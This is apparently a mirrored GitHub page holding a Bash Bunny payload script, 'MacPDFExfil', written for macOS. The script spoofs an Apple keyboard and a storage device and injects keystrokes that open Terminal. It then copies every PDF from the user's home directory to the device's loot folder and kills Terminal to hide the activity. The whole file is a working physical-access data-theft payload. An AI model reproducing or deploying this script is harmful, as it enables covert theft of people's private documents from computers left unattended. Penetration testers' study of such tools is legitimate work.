mirror of
https://github.com/hak5darren/bashbunny-payloads.git
synced 2025-10-29 16:58:12 +00:00
* clean up loot added sub folder so all files are not in root of loot folder * MacProfiler NewPayload for Profiling Mac systems * Make DIR
31 lines
730 B
Bash
31 lines
730 B
Bash
#!/bin/bash
|
|
#
|
|
# Title: MacPDFExfil
|
|
# Author: k1ul3ss
|
|
# Props: audibleblink
|
|
# Version: 1.0
|
|
# Category: Exfiltration
|
|
# Target: macOS
|
|
# Attackmodes: HID, Storage
|
|
|
|
ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E
|
|
|
|
# device name
|
|
dev_name="BashBunny"
|
|
|
|
# loot directory
|
|
lootdir="/Volumes/$dev_name/loot/MacPDFExfil/"
|
|
|
|
QUACK GUI SPACE
|
|
QUACK DELAY 1000
|
|
QUACK STRING terminal
|
|
QUACK ENTER
|
|
QUACK DELAY 3000
|
|
QUACK STRING mkdir -p $lootdir
|
|
QUACK ENTER
|
|
# Find all PDFs stored in the user's home directory, and copy them over to the BashBunny storage.
|
|
QUACK STRING find \~ -name \'*.pdf\' -exec cp \"{}\" $lootdir \\\;\; killall Terminal
|
|
QUACK ENTER
|
|
|
|
# sync the filesystem
|
|
sync |